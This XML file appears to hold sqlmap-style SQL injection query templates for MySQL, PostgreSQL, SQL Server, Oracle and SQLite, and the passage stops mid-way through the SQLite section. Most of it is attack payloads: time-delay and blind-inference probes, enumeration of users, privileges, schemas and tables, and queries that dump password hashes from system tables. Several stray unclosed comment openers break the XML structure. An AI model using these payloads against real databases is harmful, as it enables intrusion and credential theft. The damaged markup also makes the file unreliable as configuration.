<?xml version="1.0" encoding="UTF-8"?>

<root>

<!-- MySQL -->

<dbms value="MySQL">

<cast query="CAST(%s AS CHAR)"/>

<length query="LENGTH(%s)"/>

<isnull query="IFNULL(%s,' ')"/>

<delimiter query=","/>

<limit query="LIMIT %d,%d"/>

<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)"/>

<limitgroupstart query="1"/>

<limitgroupstop query="2"/>

<limitstring query=" LIMIT "/>

<order query="ORDER BY %s ASC"/>

<count query="COUNT(%s)"/>

<comment query="-- " query2="/*" query3="#"/>

<!--

<timedelay query="SELECT SLEEP(%d)" query2="SELECT BENCHMARK(5000000,MD5('%d'))"/>

<substring query="MID((%s),%d,%d)"/>

<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>

<hex query="HEX(%s)"/>

<inference query="ORD(MID((%s),%d,1)) > %d"/>

<banner query="VERSION()"/>

<current_user query="CURRENT_USER()"/>

<current_db query="DATABASE()"/>

<hostname query="@@HOSTNAME"/>

<is_dba query="(SELECT super_priv FROM mysql.user WHERE user='%s' LIMIT 0,1)='Y'"/>

<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0,1)='%s'"/>

<users>

<inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>

<blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>

</users>

<passwords>

<inband query="SELECT user,password FROM mysql.user" condition="user"/>

<blind query="SELECT DISTINCT(password) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(password)) FROM mysql.user WHERE user='%s'"/>

</passwords>

<privileges>

<inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>

<blind query="SELECT DISTINCT(privilege_type) FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE grantee%s'%s' LIMIT %d,1" query2="SELECT select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(privilege_type)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE grantee%s'%s'" count2="SELECT COUNT(*) FROM mysql.user WHERE user='%s'"/>

</privileges>

<roles/>

<dbs>

<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>

<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d,1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>

</dbs>

<tables>

<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>

<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' LIMIT %d,1" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>

</tables>

<columns>

<inband query="SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>

<blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" query2="SELECT column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>

</columns>

<dump_table>

<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>

<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>

</dump_table>

<search_db>

<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE " query2="SELECT db FROM mysql.db WHERE " condition="schema_name" condition2="db"/>

<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE " query2="SELECT DISTINCT(db) FROM mysql.db WHERE " count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA WHERE " count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db WHERE " condition="schema_name" condition2="db"/>

</search_db>

<search_table>

<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE " condition="table_name" condition2="table_schema"/>

<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE " query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE " count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>

</search_table>

<search_column>

<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE " condition="column_name" condition2="table_schema" condition3="table_name"/>

<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE " query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE " count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>

</search_column>

</dbms>

<!-- PostgreSQL -->

<dbms value="PostgreSQL">

<cast query="CAST(%s AS CHARACTER(10000))"/>

<length query="LENGTH(%s)"/>

<isnull query="COALESCE(%s,' ')"/>

<delimiter query="||"/>

<limit query="OFFSET %d LIMIT %d"/>

<limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)"/>

<limitgroupstart query="1"/>

<limitgroupstop query="2"/>

<limitstring query=" OFFSET "/>

<order query="ORDER BY %s ASC"/>

<count query="COUNT(%s)"/>

<comment query="--" query2="/*"/>

<!--

<timedelay query="SELECT PG_SLEEP(%d)" query2="SELECT 'sqlmap' WHERE exists(SELECT * FROM generate_series(1,300000%d))" query3="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep(%d)"/>

<substring query="SUBSTR((%s)::text,%d,%d)"/>

<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>

<hex query="ENCODE(CONVERT_TO((%s),'UTF8'),'HEX')"/>

<inference query="ASCII(SUBSTR((%s)::text,%d,1)) > %d"/>

<banner query="VERSION()"/>

<current_user query="CURRENT_USER"/>

<current_db query="CURRENT_DATABASE()"/>

<hostname/>

<is_dba query="(SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)"/>

<check_udf query="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>

<users>

<inband query="SELECT usename FROM pg_user"/>

<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>

</users>

<passwords>

<inband query="SELECT usename,passwd FROM pg_shadow" condition="usename"/>

<blind query="SELECT DISTINCT(passwd) FROM pg_shadow WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(passwd)) FROM pg_shadow WHERE usename='%s'"/>

</passwords>

<privileges>

<inband query="SELECT usename,(CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user" condition="usename"/>

<blind query="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/>

</privileges>

<roles/>

<dbs>

<inband query="SELECT datname FROM pg_database"/>

<blind query="SELECT DISTINCT(datname) FROM pg_database OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(datname)) FROM pg_database"/>

</dbs>

<tables>

<inband query="SELECT schemaname,tablename FROM pg_tables" condition="schemaname"/>

<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>

</tables>

<columns>

<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>

<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>

</columns>

<dump_table>

<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>

<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>

</dump_table>

<search_db>

<inband query="SELECT datname FROM pg_database WHERE " query2="" condition="datname" condition2=""/>

<blind query="SELECT DISTINCT(datname) FROM pg_database WHERE " query2="" count="SELECT COUNT(DISTINCT(datname)) FROM pg_database WHERE " count2="" condition="datname" condition2=""/>

</search_db>

<search_table>

<inband query="SELECT schemaname,tablename FROM pg_tables WHERE " condition="tablename" condition2="schemaname"/>

<blind query="SELECT DISTINCT(schemaname) FROM pg_tables WHERE " query2="SELECT tablename FROM pg_tables WHERE schemaname='%s'" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE " count2="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'" condition="tablename" condition2="schemaname"/>

</search_table>

<search_column>

<inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " condition="attname" condition2="nspname" condition3="tablename"/>

<blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="tablename"/>

</search_column>

</dbms>

<!-- Microsoft SQL Server -->

<dbms value="Microsoft SQL Server">

<cast query="CAST(%s AS NVARCHAR(4000))"/>

<length query="LTRIM(STR(LEN(%s)))"/>

<isnull query="ISNULL(%s,' ')"/>

<delimiter query="+"/>

<limit query="SELECT TOP %d "/>

<limitregexp query="TOP\s+([\d]+)\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+?\s+NOT\s+IN\s+\(SELECT\s+TOP\s+([\d]+)\s+"/>

<limitgroupstart query="2"/>

<limitgroupstop query="1"/>

<limitstring/>

<order query="ORDER BY %s ASC"/>

<count query="COUNT(%s)"/>

<comment query="--" query2="/*"/>

<timedelay query="WAITFOR DELAY '0:0:%d'"/>

<substring query="SUBSTRING((%s),%d,%d)"/>

<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>

<hex query="master.sys.fn_varbintohexstr(CAST(%s AS VARBINARY))"/>

<inference query="UNICODE(SUBSTRING((%s),%d,1)) > %d"/>

<banner query="SELECT @@VERSION"/>

<current_user query="SELECT SYSTEM_USER"/>

<current_db query="SELECT DB_NAME()"/>

<hostname query="@@SERVERNAME"/>

<is_dba query="IS_SRVROLEMEMBER('sysadmin')=1" query2="IS_SRVROLEMEMBER('sysadmin','%s')=1"/>

<users>

<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>

<!-- NOTE: in NOT IN kind of queries ORDER BY is a must -->

<blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins ORDER BY name) ORDER BY name" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>

</users>

<passwords>

<inband query="SELECT name,master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins" query2="SELECT name,master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins" condition="name"/>

<blind query="SELECT TOP 1 master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins WHERE name='%s' AND password NOT IN (SELECT TOP %d password FROM master..sysxlogins WHERE name='%s' ORDER BY password) ORDER BY password" query2="SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='%s' AND password_hash NOT IN (SELECT TOP %d password_hash FROM sys.sql_logins WHERE name='%s' ORDER BY password_hash) ORDER BY password_hash" count="SELECT LTRIM(STR(COUNT(password))) FROM master..sysxlogins WHERE name='%s'" count2="SELECT LTRIM(STR(COUNT(password_hash))) FROM sys.sql_logins WHERE name='%s'"/>

</passwords>

<!-- NOTE: in Microsoft SQL Server there is no query to enumerate DBMS users privileges -->

<privileges/>

<roles/>

<dbs>

<inband query="SELECT name FROM master..sysdatabases" query2="SELECT DB_NAME(%d)"/>

<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>

</dbs>

<tables>

<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype = 'U'"/>

<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype = 'U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype = 'U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype = 'U'"/>

</tables>

<columns>

<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" condition="[DB]..syscolumns.name"/>

<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>

</columns>

<dump_table>

<inband query="SELECT %s FROM %s.%s"/>

<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s"/>

</dump_table>

<search_db>

<inband query="SELECT name FROM master..sysdatabases WHERE " condition="name"/>

<blind query="SELECT name FROM master..sysdatabases WHERE " count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases WHERE " condition="name"/>

</search_db>

<search_table>

<inband query="SELECT name FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v') AND " condition="name" condition2="name"/>

<blind query="SELECT name FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v') " count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" condition="name" condition2="name"/>

</search_table>

<search_column>

<inband query="SELECT %s..sysobjects.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.xtype in ('u','v')" condition="[DB]..syscolumns.name" condition2="[DB]..sysobjects.name"/>

<blind query="SELECT %s..sysobjects.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.xtype in ('u','v')" count="SELECT COUNT(%s..sysobjects.name) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.xtype in ('u','v')" condition="[DB]..syscolumns.name" condition2="[DB]..sysobjects.name"/>

</search_column>

</dbms>

<!-- Oracle -->

<dbms value="Oracle">

<cast query="CAST(%s AS VARCHAR(4000))"/>

<length query="LENGTH(%s)"/>

<isnull query="NVL(%s,' ')"/>

<delimiter query="||"/>

<limit query="ROWNUM AS LIMIT %s ORDER BY 1 ASC) WHERE LIMIT"/>

<limitregexp query="ROWNUM\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+|ROWNUM\s*=\s*[\d]+"/>

<limitgroupstart/>

<limitgroupstop/>

<limitstring/>

<order query="ORDER BY %s ASC"/>

<count query="COUNT(%s)"/>

<comment query="--"/>

<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d.00)"/>

<substring query="SUBSTRC((%s),%d,%d)"/>

<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>

<hex query="RAWTOHEX(%s)"/>

<inference query="ASCII(SUBSTRC((%s),%d,1)) > %d"/>

<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>

<current_user query="SELECT USER FROM DUAL"/>

<!--

<current_db query="SELECT USER FROM DUAL"/>

<!--

<hostname query="SELECT UTL_INADDR.get_host_name FROM DUAL"/>

<is_dba query="(SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=USER AND GRANTED_ROLE='DBA')='DBA'"/>

<users>

<inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>

<blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME),ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/>

</users>

<passwords>

<inband query="SELECT NAME,PASSWORD FROM SYS.USER$" condition="NAME"/>

<blind query="SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD),ROWNUM AS LIMIT FROM SYS.USER$ WHERE NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$ WHERE NAME='%s'"/>

</passwords>

<!--

<privileges>

<inband query="SELECT GRANTEE,PRIVILEGE FROM DBA_SYS_PRIVS" query2="SELECT USERNAME,PRIVILEGE FROM USER_SYS_PRIVS" condition="GRANTEE" condition2="USERNAME"/>

<blind query="SELECT DISTINCT(PRIVILEGE) FROM (SELECT DISTINCT(PRIVILEGE),ROWNUM AS LIMIT FROM DBA_SYS_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d" query2="SELECT DISTINCT(PRIVILEGE) FROM (SELECT DISTINCT(PRIVILEGE),ROWNUM AS LIMIT FROM USER_SYS_PRIVS WHERE USERNAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(PRIVILEGE)) FROM DBA_SYS_PRIVS WHERE GRANTEE='%s'" count2="SELECT COUNT(DISTINCT(PRIVILEGE)) FROM USER_SYS_PRIVS WHERE USERNAME='%s'"/>

</privileges>

<!--

<roles>

<inband query="SELECT GRANTEE,GRANTED_ROLE FROM DBA_ROLE_PRIVS" query2="SELECT USERNAME,GRANTED_ROLE FROM USER_ROLE_PRIVS" condition="GRANTEE" condition2="USERNAME"/>

<blind query="SELECT DISTINCT(GRANTED_ROLE) FROM (SELECT DISTINCT(GRANTED_ROLE),ROWNUM AS LIMIT FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d" query2="SELECT DISTINCT(GRANTED_ROLE) FROM (SELECT DISTINCT(GRANTED_ROLE),ROWNUM AS LIMIT FROM USER_ROLE_PRIVS WHERE USERNAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s'" count2="SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM USER_ROLE_PRIVS WHERE USERNAME='%s'"/>

</roles>

<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->

<dbs>

<inband query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)"/>

<blind query="SELECT OWNER FROM (SELECT OWNER,ROWNUM AS LIMIT FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)) WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES"/>

</dbs>

<tables>

<inband query="SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES" condition="OWNER"/>

<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME,ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE OWNER='%s') WHERE LIMIT=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE OWNER='%s'"/>

</tables>

<columns>

<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" condition="COLUMN_NAME"/>

<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" condition="COLUMN_NAME"/>

</columns>

<dump_table>

<inband query="SELECT %s FROM %s"/>

<blind query="SELECT %s FROM (SELECT %s,ROWNUM AS LIMIT FROM %s) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>

</dump_table>

<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->

<search_db>

<inband query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES) WHERE " query2="" condition="OWNER" condition2=""/>

<blind query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES) WHERE " query2="" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES WHERE " count2="" condition="OWNER" condition2=""/>

</search_db>

<search_table>

<inband query="SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES WHERE " condition="TABLE_NAME" condition2="OWNER"/>

<blind query="SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES WHERE " query2="SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='%s'" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES WHERE " count2="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE OWNER='%s'" condition="TABLE_NAME" condition2="OWNER"/>

</search_table>

<search_column>

<inband query="SELECT OWNER,TABLE_NAME FROM SYS.ALL_TAB_COLUMNS WHERE " condition="COLUMN_NAME" condition2="OWNER" condition3="TABLE_NAME"/>

<blind query="SELECT DISTINCT(OWNER) FROM SYS.ALL_TAB_COLUMNS WHERE " query2="SELECT DISTINCT(TABLE_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE OWNER='%s'" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TAB_COLUMNS WHERE " count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.ALL_TAB_COLUMNS WHERE OWNER='%s'" condition="COLUMN_NAME" condition2="OWNER" condition3="TABLE_NAME"/>

</search_column>

</dbms>

<!-- SQLite -->

<dbms value="SQLite">

<cast query="CAST(%s AS VARCHAR(8000))" dbms_version="&gt;=3.0"/>

<!-- NOTE: On SQLite version 2 everything is stored as a string (Reference: http://www.mono-project.com/SQLite) -->

<length query="LENGTH(%s)"/>

<isnull query="IFNULL(%s,' ')" dbms_version="&gt;=3.0"/>

<delimiter query="||"/>

<limit query="LIMIT %d,%d"/>

<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)"/>

<limitgroupstart query="1"/>

<limitgroupstop query="2"/>

<limitstring query=" LIMIT "/>

<order query="ORDER BY %s ASC"/>

<count query="COUNT(%s)"/>

<comment query="--" query2="/*"/>

<timedelay query="SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000%d))))" dbms_version="&gt;=3.0"/>

<substring query="SUBSTR((%s),%d,%d)"/>

<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>

<hex query="HEX(%s)"/>

<inference query="SUBSTR((%s),%d,1) > '%c'"/>

<banner query="SELECT SQLITE_VERSION()"/>

<current_user/>

<current_db/>

<hostname/>

<is_dba/>

<check_udf/>

<users/>

<passwords/>

<privileges/>

<roles/>

<dbs/>

<tables>

<inband query="SELECT tbl_name FROM sqlite_master WHERE type='table'"/>

<blind query="SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT %d,1" count="SELECT COUNT(tbl_name) FROM sqlite_master WHERE type='table'"/>

</tables>

<columns>

<inband query="SELECT MIN(sql) FROM sqlite_master WHERE tbl_name='%s'"/>

<blind query="SELECT sql FROM sqlite_master WHERE tbl_name='%s' LIMIT 1" condition=""/>

</columns>

<dump_table>

<inband query="SELECT %s FROM %s"/>

